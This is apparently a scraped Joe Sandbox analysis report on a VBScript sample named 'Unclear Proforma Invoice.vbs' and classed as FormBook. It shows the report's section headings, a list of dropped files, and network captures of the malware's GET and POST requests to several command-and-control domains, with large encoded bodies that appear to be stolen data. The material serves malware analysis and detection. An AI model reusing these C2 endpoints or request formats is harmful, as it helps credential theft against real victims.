gVWCNbx7lhp4955kbqHcmBUdamVk64SIg4lGRNg7ploGbiFnneEMxfVHrMaYVnztc-XFruALup9rNGaektBxwtGdkYvDGGRF7OOQvXUZ6xSCC8~tT6YUO1hd3IviKjHIeW7usPcjaScjZ00Qib0r(SWapwFVV3XSMwMFCJBSaUZjOgjtNazpanZChr6T05nfgu5uSFITsieODuPdmSOqExMFXCnl5i(r7nkvLyV8(tnMt_ZzJpaa0mmJreZlCeLv2XExZPEfa6dAuI8rr0L1WJOX4PTUNg0BnmTZBYRlWa3ON9RCpH(qV7XkmIHQSIaZQ4ndT9bffud_yrxBr2grsHcUgN7VsOdZVJoJL2lecHSEHmpbx-gj4HPee0BQ8g5jq2l94uKfBIrTjuBDMzJnxNoAj4ewdH1dAw~IuEbXSj9pK6KYi6GUgyhILcJGJNn-bgQ8(0xT8CuYA4xQOs2posrL3m21XzL7Rn7bayXavL2exRrpBTl0xKUsSPr1E2apaviSBSzBYyGZLf1x2JisYOHrW3IJP1(MT5QSUI(7AYjh
Aug 8, 2022 17:45:46.551683903 CEST	1766	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 08 Aug 2022 15:45:46 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Mon, 08 Aug 2022 16:45:46 GMT Location: https://www.receiveprim.online/tuid/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xkPLAXs8x8e0KI2X4NowfqIFJIIMpxKeNc71Ae%2FzB84vvdTQkF2bgzGPqvKMACPl084d370ZCpUMWWoHqYIO9vdUBybCg1fxXLFA2QjZaZzHyaJexrdM7ZUwpSElKlQL90WYN9wh%2FcTS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 73796189dd3c9b5e-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:46.536997080 CEST	1715	OUT	GET /tuid/?m4bd=5V7M8j5VuGkiy9NL3tIypAJy22VFPCeBH5Oh5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJpgx5FYlUfRP HTTP/1.1 Host: www.receiveprim.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:45:46.555999994 CEST	1767	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 08 Aug 2022 15:45:46 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Mon, 08 Aug 2022 16:45:46 GMT Location: https://www.receiveprim.online/tuid/?m4bd=5V7M8j5VuGkiy9NL3tIypAJy22VFPCeBH5Oh5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJpgx5FYlUfRP Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=G9jkdrA42TexYPaloUxqzxkt6d1mRyMPigBWn5rc72Gbulez9c85VuJ3bY8L4ncnEzqtXlRYaPlgyrk5aNjB2WffG1C2Ij1oe3E0eHdAZq9evXLT5K%2FQelW%2BroOxYcvXoTZUtGGgynlV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 73796189ebe09ba0-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:58.222328901 CEST	1768	OUT	GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=mghAatraeoVXXTpIg6GKnKl23LbAAQF/82d90oG2Rt9sZLGICR2WykimnZjjCp2p0vtb HTTP/1.1 Host: www.itsfindia.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:45:58.410803080 CEST	1775	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Mon, 08 Aug 2022 15:45:58 GMT server: LiteSpeed location: https://www.itsfindia.online/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=mghAatraeoVXXTpIg6GKnKl23LbAAQF/82d90oG2Rt9sZLGICR2WykimnZjjCp2p0vtb content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:46:03.479437113 CEST	1797	OUT	POST /tuid/ HTTP/1.1 Host: www.svgjp.com Connection: close Content-Length: 174830 Cache-Control: no-cache Origin: http://www.svgjp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.svgjp.com/tuid/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 6d 34 62 64 3d 6d 32 64 49 47 55 7e 49 6c 46 6a 79 38 41 65 37 59 71 55 61 79 62 6f 6d 76 68 78 36 50 78 42 44 5a 68 70 4e 44 54 63 51 31 48 75 5f 44 47 79 41 4f 57 49 51 77 75 6d 79 4e 44 36 61 42 41 7e 49 56 43 75 36 76 79 70 6d 6a 54 75 58 7e 64 4e 30 78 78 7a 76 58 6c 51 64 4f 4d 62 36 43 71 43 43 67 41 71 72 70 73 4f 63 4d 62 50 37 4e 30 67 50 49 36 4f 78 70 73 44 6b 7a 67 75 61 41 6e 6e 57 34 30 75 37 73 42 58 62 34 71 72 42 7e 5f 56 34 57 56 6f 38 63 54 77 70 32 78 46 43 28 76 58 4a 7e 4e 35 63 66 35 62 57 6d 75 33 43 34 6c 68 33 72 5f 35 4d 4e 76 39 49 62 66 71 78 58 50 5a 70 54 77 55 57 78 71 63 62 31 2d 71 42 42 68 51 50 56 6c 37 65 56 33 72 68 66 5a 5a 44 4d 37 70 45 75 76 64 72 6c 41 72 7a 6c 5f 77 48 68 52 5a 63 48 41 35 76 66 48 4b 67 64 78 4c 46 73 35 71 34 6b 44 35 30 4a 4d 57 6c 75 78 4a 5a 7e 33 6e 57 62 2d 52 62 4b 4f 70 58 48 47 31 59 55 6c 55 45 56 41 35 77 55 5f 4e 6d 73 7a 73 55 32 73 56 64 4d 44 30 37 79 79 70 30 6d 4d 34 61 4c 78 38 7a 52 32 32 41 6b 74 78 63 36 47 37 34 74 30 63 68 65 6f 28 48 37 43 70 76 4d 73 59 52 34 72 6d 53 4e 5f 77 66 75 46 32 4c 71 68 77 67 57 72 79 69 37 66 41 74 34 6c 7a 51 54 71 6b 74 44 4b 47 6a 74 70 7e 35 44 74 4e 4b 38 5a 73 2d 46 76 49 2d 28 6e 41 76 62 31 62 51 53 6a 49 50 35 6c 48 54 6e 4e 56 5a 46 70 31 6c 6a 44 43 36 69 73 50 33 6d 36 49 79 4b 6f 56 49 35 4f 30 56 49 78 48 57 7a 68 42 52 39 6e 4f 38 55 4e 63 75 49 63 31 31 51 73 46 73 57 72 54 48 62 78 6f 43 72 4c 72 71 4f 2d 66 33 79 48 45 68 70 64 4a 47 58 4c 35 4f 72 4b 68 64 34 7a 77 51 59 71 46 49 72 43 63 58 78 61 4d 38 65 32 47 79 32 4e 46 44 34 4b 6e 4d 68 6e 64 7a 33 6d 34 4e 6a 42 70 63 42 5f 43 4f 45 33 74 4f 70 4a 77 4e 74 73 6a 45 44 59 6a 4f 6d 63 31 64 72 52 5a 69 67 38 4c 6b 48 64 37 58 51 6b 78 30 6b 39 42 44 48 57 65 5f 33 68 30 31 63 42 47 62 77 57 6e 61 7e 2d 78 77 72 59 75 42 6e 54 57 61 58 64 7a 6c 73 4a 77 5a 45 31 79 46 31 79 58 57 62 75 44 55 6a 71 52 38 78 6e 4b 54 68 73 7a 52 77 68 36 56 4a 72 5a 55 51 54 31 58 38 79 44 52 6d 35 73 36 78 5f 70 5a 63 63 65 63 54 70 46 69 72 50 39 76 34 7a 36 76 70 35 45 6b 53 43 5a 58 31 57 52 55 6f 6d 42 32 53 62 53 4d 4b 73 69 5f 30 36 6e 77 6b 6a 43 56 58 66 52 6d 67 68 36 6b 34 4e 49 6d 71 56 7a 48 73 37 5a 78 6a 55 32 7a 64 52 76 48 77 50 56 44 45 39 30 52 76 53 37 4a 59 53 58 6d 62 39 55 48 31 5a 76 33 59 31 6b 37 6c 6c 57 48 4c 32 4e 4d 36 74 57 65 4d 43 30 56 48 41 6f 32 59 74 71 61 52 36 42 63 76 38 37 71 47 33 45 79 66 59 70 42 72 6c 6c 30 36 67 38 35 73 6f 51 37 30 75 64 65 50 75 4a 77 4f 37 67 32 46 6c 73 4e 76 44 72 6e 5a 49 30 4e 7a 51 43 39 4e 68 58 54 36 42 31 4c 7a 49 49 64 47 6d 59 56 59 5a 39 32 77 34 75 57 55 37 6a 6a 7e 2d 30 2d 28 32 50 5f 6a 69 43 77 4a 55 6c 2d 77 6c 61 34 41 69 76 65 28 38 53 56 58 47 36 79 4a 5f 35 7a 6e 77 36 55 56 56 53 4e 64 51 53 5f 37 7a 63 59 6c 63 4a 72 55 76 4a 4d 62 30 58 44 36 51 38 4b 57 46 7e 5a 79 6a 28 6d 6a 66 35 5f 56 58 4d 33 38 53 7e 73 58 57 6b 75 6c 74 75 34 44 57 37 64 79 45 70 48 43 6c 43 4a 4a 4c 33 47 63 77 4d 50 65 4f 37 6d 65 5a 50 49 4b 6b 35 74 44 48 66 34 77 64 58 65 50 65 64 65 5a 44 31 37 67 39 6c 79 5a 5f 74 4f 7e 45 50 4e 58 4c 38 44 47 48 53 5a 43 2d 44 4d 70 65 63 49 52 65 6a 70 66 31 44 35 32 61 71 66 4d 47 69 4c 38 5a 44 4f 50 54 58 6c 4a 64 6e 6f 52 2d 42 6a 59 5a 53 39 56 43 6c 4b 4b 50 72 51 39 57 33 4c 66 33 4c 41 73 33 28 2d 66 79 75 77 51 72 65 74 54 4b 4e 61 4c 62 31 6a 7e 49 34 53 61 44 77 49 39 6d 61 6a 59 58 33 36 4f 39 43 30 4a 54 79 70 41 41 4d 44 52 31 42 65 41 75 6f 78 61 70 63 44 63 75 6a 74 54 6d 36 59 57 44 57 79 71 59 54 45 65 34 75 52 6b 41 46 38 39 6b 65 33 4a 53 71 30 65 79 28 78 76 6e 79 48 38 4b 77 4c 4a 6a 33 31 62 65 6b 31 30 46 32 58 4a 45 4b 39 77 30 50 61 57 75 6c 34 50 6b 6d 65 44 5a 7e 64 62 2d 4d 45 77 65 6d 75 46 4e 72 57 43 37 44 67 34 39 7a 63 28 71 7a 66 6f 34 31 32 6e 74 4d 46 43 33 4c 6c 37 4f 74 61 4c 6d 49 72 6d 6c 39 56 46 79 67 73 68 37 50 37 6d 67 65 38 57 64 62 63 4e 59 78 4c 68 54 4d 4d 4d 65 71 54 39 79 74 71 38 36 45 4e 6f 6f 28 75 31 48 58 36 54 78 72 51 72 7a 5a 30 59 67 43 73 65 4e 6e 56 7a 6a 4d 63 6e 6b 77 37 30 33 Data Ascii: m4bd=m2dIGU~IlFjy8Ae7YqUaybomvhx6PxBDZhpNDTcQ1Hu_DGyAOWIQwumyND6aBA~IVCu6vypmjTuX~dN0xxzvXlQdOMb6CqCCgAqrpsOcMbP7N0gPI6OxpsDkzguaAnnW40u7sBXb4qrB~_V4WVo8cTwp2xFC(vXJ~N5cf5bWmu3C4lh3r_5MNv9IbfqxXPZpTwUWxqcb1-qBBhQPVl7eV3rhfZZDM7pEuvdrlArzl_wHhRZcHA5vfHKgdxLFs5q4kD50JMWluxJZ~3nWb-RbKOpXHG1YUlUEVA5wU_NmszsU2sVdMD07yyp0mM4aLx8zR22Aktxc6G74t0cheo(H7CpvMsYR4rmSN_wfuF2LqhwgWryi7fAt4lzQTqktDKGjtp~5DtNK8Zs-FvI-(nAvb1bQSjIP5lHTnNVZFp1ljDC6isP3m6IyKoVI5O0VIxHWzhBR9nO8UNcuIc11QsFsWrTHbxoCrLrqO-f3yHEhpdJGXL5OrKhd4zwQYqFIrCcXxaM8e2Gy2NFD4KnMhndz3m4NjBpcB_COE3tOpJwNtsjEDYjOmc1drRZig8LkHd7XQkx0k9BDHWe_3h01cBGbwWna~-xwrYuBnTWaXdzlsJwZE1yF1yXWbuDUjqR8xnKThszRwh6VJrZUQT1X8yDRm5s6x_pZccecTpFirP9v4z6vp5EkSCZX1WRUomB2SbSMKsi_06nwkjCVXfRmgh6k4NImqVzHs7ZxjU2zdRvHwPVDE90RvS7JYSXmb9UH1Zv3Y1k7llWHL2NM6tWeMC0VHAo2YtqaR6Bcv87qG3EyfYpBrll06g85soQ70udePuJwO7g2FlsNvDrnZI0NzQC9NhXT6B1LzIIdGmYVYZ92w4uWU7jj~-0-(2P_jiCwJUl-wla4Aive(8SVXG6yJ_5znw6UVVSNdQS_7zcYlcJrUvJMb0XD6Q8KWF~Zyj(mjf5_VXM38S~sXWkultu4DW7dyEpHClCJJL3GcwMPeO7meZPIKk5tDHf4wdXePedeZD17g9lyZ_tO~EPNXL8DGHSZC-DMpecIRejpf1D52aqfMGiL8ZDOPTXlJdnoR-BjYZS9VClKKPrQ9W3Lf3LAs3(-fyuwQretTKNaLb1j~I4SaDwI9majYX36O9C0JTypAAMDR1BeAuoxapcDcujtTm6YWDWyqYTEe4uRkAF89ke3JSq0ey(xvnyH8KwLJj31bek10F2XJEK9w0PaWul4PkmeDZ~db-MEwemuFNrWC7Dg49zc(qzfo412ntMFC3Ll7OtaLmIrml9VFygsh7P7mge8WdbcNYxLhTMMMeqT9ytq86ENoo(u1HX6TxrQrzZ0YgCseNnVzjMcnkw7038QEJK11TlLJ-Mxl0WQVLQipTlNeeRLvc6aInuWfBS_isWAL4HYqcjqMNxm0xSnROLIQ-Ja4W1mcenCEp9WvEu0h1ix6WBFVYIhkovrzxw0mMT9Eq3dypOf9QCPPI49ZKgtEMuL2uFwdN0KtgEHTHgEaIhoObXXcckXtghvADZVXyIj37w6Mez4mTZPkdxBvgtvb7VUl2nStK(LC9Oe2Bhhhm~DE9Hp(F3kDAnMYDLcAM8hCzOAGqldbhUUPqAc3J5chQuUxx1jSks28sDILco4i8C07doA8oExkaiY4bpeoLAZd3yU824VsU82X2GM5rwHYDs3cLG8SX3ftyrVUid0WnR7iDC-SfY-Gmas8DnHX4bhc8Kp4-7GkaWEOUcJbaTX2Ldt3NbaTq~1YI3D9W3rqAmU40eiH-Z3qEbU9BY701oVvPpWMYA9nJ~HbcHHymbYj2a9c1W1zAfPJ9wSw2iRnRkqyPfzW0JH37GknwstoHDP9cWkvP~dCF5iyoRvbtEPuaKmhFht4W(yvkz3L2hBX4jqoUxke6TVrNhbgCBeyrmiF5(lVMHmj0nwPc2IbDlaeRiaxYPNg8mONEORFq6Sjw8d1dVFxEj4fcYTZALjdlqnQ8ESMmUlcYV4bZdGmV5uDbhGCFHU2nLqKqUzPh9dUhP8fVNxZ30aCp4XQj7SUscr~vORZCSOmsu4zZXkPyIGPMebsHZB38jOUcrx7DjOe1Lj1D9EScevRptJIgCyR1e4bofT4vlet6uHaFtzPCw2TJUyxbbB~WM2G9k7ecRu(mh9Mf0uz4bg41dwIlsRJBkZzvTApEZ5x9AMSZdQ68CeBTJRt9KGu9KnQM51(_WixhT2ohTyARQPkuF4WP2WFSbRrIVA2F3Cf2AzytGDnPefsRs3kziWihZL4YAjVTh_OhRFXPx0d
Aug 8, 2022 17:46:04.288109064 CEST	1971	IN	HTTP/1.1 403 Forbidden Date: Mon, 08 Aug 2022 15:46:04 GMT Content-Type: text/html Content-Length: 146 Connection: close X-Seen-By: W1c2/pqHBqplxcWufHCkILxkNjrXdwdgtu6E0yACibU=,sHU62EDOGnH2FBkJkG/Wx8EeXWsWdHrhlvbxtlynkVjjsN8RUa0UkPSj4npW0X3Y,m0j2EEknGIVUW/liY8BLLl77sBeKLtHVaXbFQUDNQYPu/2EjeiyKjB/JVOb8T5Ve X-Wix-Request-Id: 1659973564.2325226518761515557 X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Unclear Proforma Invoice.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Signatures

Initial Sample

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\DB1

C:\Users\user\AppData\Local\Temp\RESBA75.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p4elcppe.v1c.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ro4sxpqd.lc5.psm1

C:\Users\user\AppData\Local\Temp\tmhd51lu\CSCDE243CA280D4B5C9E282790C554DB9.TMP

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.0.cs

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.dll

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.out

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
Unclear Proforma Invoice.vbs

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:46:08.621334076 CEST	1974	OUT	POST /tuid/ HTTP/1.1 Host: www.147bronzeway.com Connection: close Content-Length: 174830 Cache-Control: no-cache Origin: http://www.147bronzeway.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.147bronzeway.com/tuid/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 6d 34 62 64 3d 59 71 5a 44 37 32 5a 42 61 45 4f 51 38 76 64 58 55 64 32 6c 48 48 70 53 5a 33 35 59 34 33 44 62 39 36 77 39 67 4f 33 65 72 4e 4e 33 71 71 69 42 4c 41 5a 41 51 4e 6b 78 64 72 59 52 48 67 52 63 42 34 4d 65 38 73 55 59 72 43 7a 6c 6f 68 4c 7a 6f 65 65 59 73 64 46 38 6f 57 78 66 37 45 78 76 76 31 59 6d 39 37 4d 4c 51 58 53 37 56 54 4e 44 39 61 69 5f 6a 45 66 57 50 31 32 47 31 68 74 68 34 6c 63 41 68 70 61 37 66 34 35 6d 78 70 70 74 35 35 45 2d 55 49 44 64 57 35 4e 6c 75 31 36 69 41 55 64 74 6b 68 68 6c 44 70 64 42 41 72 6b 4f 56 72 52 73 52 35 4a 68 43 79 64 30 42 6a 35 4a 42 69 55 69 58 66 4d 4a 6a 4c 76 4d 6d 6d 68 6a 66 33 4b 69 32 61 4e 70 70 35 56 34 78 64 56 4c 75 77 77 44 78 31 31 57 63 45 35 61 50 43 6e 4d 50 30 37 39 4b 76 45 30 59 66 61 56 74 59 6a 37 6f 4d 50 4f 76 54 7e 79 6b 52 67 65 4e 69 35 51 4d 38 4b 47 5a 39 66 5f 64 43 66 69 58 41 4b 41 47 64 69 49 6c 39 37 7a 64 34 54 6a 6e 6d 47 66 77 7a 4e 52 43 61 67 55 5a 74 37 32 28 49 6a 52 65 42 6f 47 69 32 71 4a 70 32 45 75 56 31 62 63 52 5a 68 61 37 42 74 6a 6e 48 74 39 56 64 78 47 73 6c 6d 43 6e 6c 67 4e 30 31 59 43 54 4e 65 41 74 59 33 4c 72 76 70 36 7a 36 44 59 56 42 6e 4d 49 76 52 53 6c 4a 6c 6d 69 44 68 42 30 30 49 56 4f 36 42 33 56 4a 4a 67 66 4e 6a 79 72 78 76 6e 69 34 41 78 57 51 45 4d 28 66 31 58 64 36 74 51 65 45 4c 63 4e 44 73 30 56 4f 48 58 65 68 45 58 31 6f 77 31 39 4b 6b 53 6f 76 74 31 47 33 6f 69 61 6a 52 37 46 5a 54 56 74 6d 6d 32 78 58 31 50 56 61 35 39 48 34 42 4b 76 4c 39 66 5a 4e 66 63 46 71 50 68 49 5f 62 6f 46 69 65 36 71 6a 6a 54 53 55 48 39 51 58 32 78 28 58 6b 38 78 30 71 66 47 47 44 4b 75 46 74 32 6d 4f 28 50 39 77 69 36 75 45 4c 63 39 41 38 4f 65 45 50 59 28 5a 52 34 7e 32 6d 59 30 52 49 4f 4c 68 6e 4d 77 6e 4f 69 79 72 79 76 55 73 30 49 4a 4b 4b 4b 4f 41 55 6d 63 35 4f 43 57 38 7a 57 78 33 58 4d 7a 73 45 75 79 49 4c 45 4b 65 77 30 7e 6b 58 71 33 4c 59 33 44 4c 70 32 55 74 44 6c 73 56 6c 6d 79 43 66 48 37 67 4b 74 4c 6f 41 37 55 56 30 78 75 51 6e 4f 35 50 73 4d 64 52 6e 65 6b 48 67 30 35 67 61 37 53 47 69 4c 31 6f 33 63 44 42 76 6b 42 4b 73 4b 63 78 44 6d 4d 32 71 4a 56 44 62 35 75 51 4c 34 67 41 6a 51 37 5a 64 44 68 52 51 78 76 70 34 66 67 7a 41 30 4b 52 4f 70 48 38 28 4b 44 69 74 64 70 6c 37 31 76 56 74 77 72 41 58 62 47 56 48 41 76 53 4d 46 61 30 28 34 4e 5a 7a 4d 63 64 39 73 4a 41 68 39 63 73 66 6e 47 62 6d 7a 44 59 57 33 78 44 61 31 65 67 6e 48 65 66 72 6b 6a 56 5a 70 64 48 28 74 59 62 56 68 78 33 4f 67 36 78 61 49 35 4a 6b 34 48 46 76 6e 4e 68 6a 68 4f 62 28 76 58 6a 33 68 34 59 73 31 70 55 50 67 69 76 55 35 4e 43 35 65 5a 64 37 7a 37 71 54 51 66 6c 73 54 65 46 7a 57 42 39 76 2d 6f 51 34 55 35 32 68 35 75 5a 38 6b 62 4d 4a 71 50 65 49 55 79 5f 78 6d 68 47 52 64 68 4c 74 67 7a 2d 71 68 43 4b 74 75 30 44 59 6b 67 35 74 61 70 68 41 57 43 6d 70 54 48 4b 59 73 64 73 64 6b 33 55 76 6c 31 5f 4b 30 53 4e 6c 56 49 37 73 36 28 65 66 55 56 6f 66 43 58 77 4b 61 4e 75 4e 34 43 34 79 4d 4a 67 7a 68 48 66 4b 58 71 32 64 63 47 6e 39 44 35 67 38 41 6d 30 63 30 41 6d 5a 44 53 71 75 76 6d 41 77 5f 6b 4f 4e 72 47 52 4e 33 73 6c 28 42 75 2d 7e 59 32 6c 56 57 43 72 73 2d 67 55 64 34 62 43 67 72 31 53 51 52 59 36 55 56 79 75 78 76 42 6b 4a 64 55 74 59 35 4d 6d 4f 68 5a 73 6f 2d 38 6e 73 32 74 39 4c 65 37 6e 49 69 4e 64 6e 57 43 64 72 72 59 6c 31 6c 4b 32 71 34 53 70 6c 4c 79 66 41 68 37 4b 61 57 77 59 31 45 6c 72 38 38 67 72 63 59 67 74 38 64 49 4d 72 4e 56 5f 74 47 41 56 4f 46 41 77 30 74 4d 74 36 70 49 73 6c 50 65 30 4d 5a 5a 36 68 64 70 4c 53 35 6a 4c 43 7a 46 7a 76 31 61 5f 4f 6b 33 46 53 44 53 75 70 75 6f 44 68 66 7a 69 35 55 5a 5f 28 54 7a 53 32 79 71 59 61 53 71 4f 32 32 63 32 32 70 41 6d 6c 63 4a 4f 46 53 74 36 33 42 7a 42 28 45 63 67 66 32 79 71 66 78 71 4b 68 30 4b 39 61 66 55 33 31 67 62 51 59 57 36 6d 4b 5a 6d 39 34 36 47 75 42 48 53 76 65 50 34 77 73 69 74 51 45 41 68 77 6f 75 76 53 4a 38 68 67 4f 48 33 58 4c 62 72 41 63 2d 48 32 61 78 33 61 68 32 41 69 75 4d 38 34 77 38 42 6e 52 63 73 73 53 62 72 6c 45 6a 6e 44 53 77 4e 44 6f 68 52 38 32 77 54 65 30 41 66 6d 6b 43 71 6c 70 72 61 70 53 30 47 5a 34 46 37 39 47 46 61 57 Data Ascii: 